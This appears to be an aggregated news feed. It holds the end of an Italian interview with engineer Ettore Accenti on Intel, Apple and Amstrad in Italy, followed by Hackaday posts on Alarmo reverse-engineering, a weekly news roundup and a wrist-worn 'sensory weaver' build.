Accenti: Esatto. All’epoca il Dr. Faggin non era ancora arrivato in Intel. Come per ogni innovazione, non mancarono intoppi. Hai mai sentito parlare del “Soft Error”? Alcune aziende, come Honeywell, sostituivano le vecchie memorie magnetiche con i nostri chip, più compatti ed efficienti. Seguivo personalmente i test fino alla consegna al cliente, ma Honeywell iniziò a restituire le i1103, giudicate difettose. Sostituivo i chip e li inviavo per analisi, mentre Intel li dichiarava funzionanti. Dopo sei mesi, scoprimmo che il problema era causato dai raggi cosmici, particelle che, attraversando l’atmosfera, alteravano la carica elettrostatica dei chip, trasformando un bit da 1 a 0. La soluzione fu schermare i chip dalle radiazioni.

Carlo: Raggi cosmici? Incredibile. E in Italia, come reagì il mercato?

Accenti: Distribuivo memorie Intel a clienti come Olivetti, Siemens e Selenia. Il mercato italiano era strategico per loro: i dirigenti Intel venivano spesso qui. Ricordo un episodio esilarante.

Carlo: Lo Racconti!

Accenti: Nel 1970, accompagnai Gordon Moore, Ed Gelbach e Tom Lawrence alla Olivetti di Ivrea. Ero alla guida della mia Alfa Giulietta a 160 km/h sull’autostrada Milano-Torino, quando udii dal sedile posteriore gridare: “Ettore!!! Se non rallenti ti togliamo la rappresentanza! In questa auto stai trasportando metà del quartier generale Intel!”
Per gentile concessione dell’Ing. Ettore Accenti
Carlo: Intel, da pioniera, ha sempre avuto successo?

Accenti: Negli anni ’70, con il mercato delle memorie saturo e la concorrenza in crescita, Intel cercò nuovi sbocchi puntando sul settore degli orologi al quarzo. Acquistò la “Microma”, un’azienda specializzata in orologi elettronici a cristalli liquidi. Robert Noyce mi mostrò il suo primo orologio al quarzo, con una precisione di pochi secondi all’anno e un design futuristico, ma a 200 dollari si rivelò un cattivo affare. Io, con Eledra 3S, ne acquistai un lotto ma il progetto fallì.

Carlo: E con Apple? Collaborò con Steve Jobs?

Accenti: Nel 1979 incontrai Mike Markkula, ex Intel e investitore di Apple,allora CEO dell’azienda della “mela morsicata”. Avviammo una partnership per l’Apple II in Italia evitando conflitti con Iret, l’altro distributore italiano. L’Apple II decollò, mentre l’Apple III, causa circuiti difettosi e problemi di surriscaldamento non ebbe il successo meritato. Nel 1983, con Jobs emarginato e le attività sospese, intentammo una causa che si concluse con un accordo vantaggioso. Deluso, riorientai le attività verso nuove collaborazioni, trasformando la sede Apple di Milano in una divisione “Computer Professionali” e, nel 1984, raddoppiammo il fatturato.

Carlo: Qual è stato il giro d’affari di Eledra 3S?

Accenti: Nel 1984 il Gruppo Eledra raggiunse un fatturati di svariati miliardi di lire.

Carlo: Incredibile! Ma tornando a Intel, non abbiamo ancora menzionato i suoi prodotti di punta: i microprocessori.

Accenti: Durante la mia visita nel 1970 allo stabilimento Intel di Mountain View, dopo aver sottoscritto un patto di riservatezza, il Dr. Moore e il Dr. Noyce mi mostrarono un prototipo rivoluzionario: una ROM cancellabile con raggi UV. Il Dr. Dov Frohman, il suo inventore, me ne illustrò il funzionamento.

Carlo: Quindi assistette alla nascita delle EPROM?

Accenti: Sì. Quel prototipo divenne l’EPROM i1702 da 256 bit. All’epoca, Faggin era appena arrivato in Intel dalla Fairchild, e il microprocessore non era ancora stato realizzato. Il mercato restava quello delle memorie.

Carlo: Ma quando nacque il primo microprocessore Intel?

Accenti: Nel 1971, con l’Intel 4004, creato da Faggin, Hoff e Mazor. Inizialmente fu sottovalutato: i volumi di vendita erano irrisori rispetto alle memorie. Addirittura, Intel lo offriva come bonus per incentivare gli ordini di chip! La svolta arrivò nel 1986, quando Andy Grove, presidente di Intel, in vacanza in Austria, decise di abbandonare la produzione di memorie per concentrarsi esclusivamente sulla produzione di microprocessori.
Per gentile concessione dell’ing. Ettore Accenti
Carlo: Quindi fu sufficiente questo passaggio per far diventare Intel un colosso?

Accenti: Non solo. Il Crush Program, ideato dal capo marketing Bill Davidow, fu decisivo. Negli anni ’80, Intel era in crisi: Motorola dominava con il suo 68000 e Zilog, fondata da Faggin dopo aver lasciato Intel, con lo Z80. I clienti preferivano le loro CPU a 16 bit rispetto alle nostre a 8 bit (8008, 8080, 8085). Nove su dieci sceglievano i rivali.

Carlo: E come reagì Intel?

Accenti: Con il Crush Program: un piano segreto per annientare la concorrenza. Mobilitammo tutti, dai distributori come Eledra 3S fino ai vertici, come Grove. Per clienti strategici, quali Olivetti, organizzammo squadre pronte a intervenire in 24 ore. L’obiettivo era presentarci come partner di sistema, non solo fornitori. Rivelammo una roadmap con la serie x86 (286, 386, 486… Pentium), software retro compatibili, ma ancora su carta. Un azzardo geniale: promettemmo compatibilità futura per ridurre i costi di sviluppo.

Carlo: Ma come riuscì Intel a convincere i suoi clienti con prodotti inesistenti?

Accenti: Con la fiducia. Intel aveva già creato board prototipali e sistemi di sviluppo. Svelammo i piani x86 sotto accordi di riservatezza. I tecnici dovettero realizzare ciò che il marketing aveva promesso. E ci riuscirono: in un anno conquistammo 2.000 clienti, il doppio del previsto. Olivetti adottò l’8086, mentre Motorola e Zilog furono colte alla sprovvista. Quella visione trasformò Intel nel gigante di oggi.

Carlo: Passiamo a un altro successo: la nascita di Amstrad Italia. Quali sfide affrontò in quel periodo?

Accenti: Nel 1987, noi distributori navigavamo a vista. L’aumento della concorrenza giapponese e la decisione dei produttori di aprire filiali dirette nei principali Paesi ci resero la vita difficile. In Italia, la svalutazione della lira, il finanziamento del credito clienti e un tasso di cambio del dollaro sfavorevole ci costringevano a grandi sacrifici. Olivetti, nel 1983 manifestò interesse per la mia azienda, quindi valutai una joint venture. L’accordo si concretizzò solo nel luglio 1986, anno di crisi globale: Olivetti, grazie ad un aumento di capitale, entrò in Eledra come partner con il 49%, ma fraintese il nostro modello di business. Eravamo un distributore di servizi, non un trader. I prezzi erano fissati dai contratti con i produttori, e il nostro guadagno derivava da accrediti fissi, non dalla speculazione.

Carlo: Cosa portò al collasso della joint venture?

Accenti: Continuarono i conflitti: mi accusarono di non saper “acquistare”, confondendo i contratti di accredito con la compravendita. Olivetti pretese liquidazioni insensate e bloccò persino un’offerta di salvataggio da un grande distributore internazionale, chiedendomi le dimissioni.

Carlo: Ma come la fenice è rinato dalle ceneri della sua azienda!

Accenti: Rifiutai una proposta tedesca e scelsi Alan Sugar per lanciare Amstrad in Italia. Fu un’avventura intensa di tre anni, seguita da altri tre come vicepresidente di Memorex-Telex.

Carlo: In quanto tempo organizzò Amstrad Italia e quali risultati raggiunse?

Accenti: Dopo aver lasciato Eledra, creai Amstrad Italia da zero in solo tre mesi. In tre anni raggiungemmo un fatturato di centinaia di miliardi di lire, dimostrando che l’innovazione poteva vincere anche in un mercato turbolento.

Carlo: Siamo giunti alla conclusione dell’intervista. La ringrazio per il tempo che ci ha dedicato. Vorrei porle un’ultima domanda: avendo conosciuto, collaborato, e stretto amicizia con figure storiche dell’informatica come Gordon Moore, Robert Noyce, Mike Markkula, Steve Jobs e Steve Wozniak, potrebbe condividere con noi un tratto distintivo della loro personalità?

Accenti: Steve Jobs era un visionario e un genio del marketing, capace di anticipare i desideri delle persone. Tuttavia, poteva risultare divisivo nella leadership e necessitava del supporto tecnico di Steve Wozniak, il vero genio dietro i primi computer Apple. Robert Noyce, invece, era sobrio e accessibile, combinando un rigoroso approccio scientifico con una rara umanità. Mike Markkula riconobbe subito il potenziale dell’Apple II e contribuì significativamente alla crescita di Apple, investendo personalmente e fornendo una guida strategica all’azienda.

Carlo: E per restare in tema, ha conosciuto anche Jack Tramiel, vero?

Accenti: Sì. La mia azienda fu tra i principali distributori del Commodore 64. In quegli anni, fatturammo diversi miliardi di lire grazie a quel modello. Tramiel mi invitò, insieme alla mia famiglia, a Los Angeles per una cena di lavoro, accompagnato dal suo direttore commerciale.

Carlo: Ingegnere, non posso che ringraziarla a nome mio e del pubblico che leggerà questa intervista, tanto piacevole quanto ricca di spunti.

Oggi, l’ingegnere Ettore Accenti, oltre a vantare un glorioso passato, è attivo come consulente per piccole e medie imprese, collabora con diverse Università e scrive articoli e libri, disponibili per l’acquisto sulle principali piattaforme online

L'articolo Dalla Eledra 3S a Intel: l’ingegnere italiano che portò l’Italia nella rivoluzione dei semiconduttori proviene da il blog della sicurezza informatica.

Last year, Nintendo has released the Alarmo, a bedside-style alarm clock with a colourful display. Do you own one? You deserve full control over your device, of course. [KernelEquinox] has been reverse-engineering an Alarmo ever since getting one, and there’s no shortage of cool stuff you’ll be able to do with an Alarmo thanks to this work.

Now, just how can you improve upon the Alarmo? Looking through the Alarmo dev community site and threads on the subreddit, there are plenty of ideas, from themes to a ton of possible behaviour tweaks! In particular, Nintendo has already changed Alarmo’s behaviour in a way that is jarring to some users – a third-party development community will help us all make sure our Alarmos work exactly like we expect them to. Want to replace the sound files, tie your Alarmo into your smart home setup, write your apps, tweak the UI or default behaviour, fix a bug that irks you real bad, or access a debug menu? Or, ensure that Alarmo doesn’t contribute to light pollution in your room? All appears to be doable.

Like the Alarmo, but don’t own one yet? They’re limited-release for now, but it will be more widely available this March; we thank [KernelEquinox] for the work in making Alarmo hacker-friendly. If you’ve forgotten, this project started off thanks to the efforts of [Gary] last year. We covered it back then — cat pictures included!

hackaday.com/2025/03/02/making…

It’s been quite a week for asteroid 2024 YR4, which looked like it was going to live up to its “city killer” moniker only to be demoted to a fraction of a percent risk of hitting us when it swings by our neighborhood in 2032. After being discovered at the end of 2024, the 55-meter space rock first popped up on the (figurative) radar a few weeks back as a potential risk to our home planet, with estimates of a direct strike steadily increasing as more data was gathered by professional and amateur astronomers alike. The James Webb Space Telescope even got in on the action, with four precious hours of “director’s discretionary” observation time dedicated to characterizing the size and shape of the asteroid before it gets too far from Earth. The result of all this stargazing is that 2024 YR4 is now at a Level 1 on the Torino Scale of NEO collision risk, with a likely downgrade to 0 by the time the asteroid next swings through again in 2028. So, if like us you were into the whole “Fiery Space Rock 2032” thing, you’ll just have to find something else to look forward to.

On the other hand, if you’re going to go out in a fiery cataclysm, going out as a trillionaire wouldn’t be a bad way to go. One lucky Citibank customer could have done that if only an asteroid had hit during the several hours it took to correct an $81 trillion credit to their account back in April, a mistake that only seems to be coming to light now. You’d think a mistake 80% the size of the global economy would have caused an overflow error somewhere along the way, or that somebody would see all those digits and think something was hinky, but apparently not since it was only the third person assigned to review the transaction that caught it. The transaction, which falls into the “near-miss” category, was reversed before any countries were purchased or fleets of space yachts were commissioned, which seems a pity but also points out the alarming fact that this happens often enough that banks have a “near-miss” category — kind of like a Broken Arrow.

We all know that near-Earth space is getting crowded, with everyone and his brother launching satellite megaconstellations to monetize our collective dopamine addiction. But it looks like things are even starting to get crowded around the Moon, at least judging by this lunar photobomb. The images were captured by the Lunar Reconnaisance Orbiter, which has been orbiting the Moon and studying the landscape for the last 16 years but stretched its capabilities a bit to capture images of the South Korean Danuri. The two probes are in parallel orbits but opposite directions and about 8 kilometers apart at the time, meaning the relative velocity between the two was an unreasonably fast 11,500 km/h. The result is a blurred streak against the lunar surface, which isn’t all that much to look at but is still quite an accomplishment. It’s not the first time these two probes have played peek-a-boo with each other; back in 2023, Danuri took a similar picture when LRO was 18 kilometers below it.

We don’t do much air travel, but here’s a tip: if you want to endear yourself to fellow travelers, it might be best to avoid setting up a phone hotspot named “I Have a Bomb.” That happened last week on American Airlines flight 2863 from Austin, Texas to Charlotte, North Carolina, with predictably results. The prank was noticed while the flight was boarding, causing law enforcement officers to board the plane and ask the prankster to own up to it. Nobody volunteered, so everyone had to deplane and go back through screening, resulting in a four-hour delay and everyone missing their connections. We’re all for fun SSIDs, mind you, but there’s a time and a place for everything.

And finally, we wanted to share this fantastic piece from Brian Potter over at Construction Physics on “Why it’s so hard to build a jet engine.” The answer might seem obvious — because it’s a jet engine, duh — but the article is a fascinating look at the entire history of jet propulsion, from their near-simultaneous invention by the principal belligerents at the end of World War II right through to their modern incarnations. The article is an exploration into the engineering of complex systems, and shows how non-obvious the problems were that needed to be solved to make jet engines practical. It’s also a lesson in the difficulties of turning a military solution into a practical commercial product. Enjoy!

hackaday.com/2025/03/02/hackad…

What is a sensory weaver? [Curiosiate] tells us: “A device which takes sensory data feeds in and converts it in various ways on the body as information streams as though a native sensory input.” As an example, they’ve built one.

This one, called “MK2 Lockpick” is a wrist-mounted array of linear actuators, with a lengthy design/build log to peek into. We don’t get PCB files (blame EasyEDA’s sharing), but we do at least get a schematic and more than enough pictures for anyone interested to reproduce the concept – the levels of bespoke-ness here warrant a new PCB for any newcomers to sensory weaver building, anyway. We also get a story of a proof-of-concept thermal input sensory weaver. The team even includes a lessons learned da, and plenty of inspiration throughout the posts on the blog.

This kind of tech is getting more and more popular, and we are sure there will be more to come — especially as we keep getting cool new gadgets like linear actuators in form of replacement parts. For instance, the actuators in this sensory weaver are harvested from Samsung S23 smartphones, and you could probably find suitable ones as iPhone replacement parts, too. Looking to start out in this area but want a quick build? Look no further than the venerable compass belt.

hackaday.com/2025/03/02/on-sen…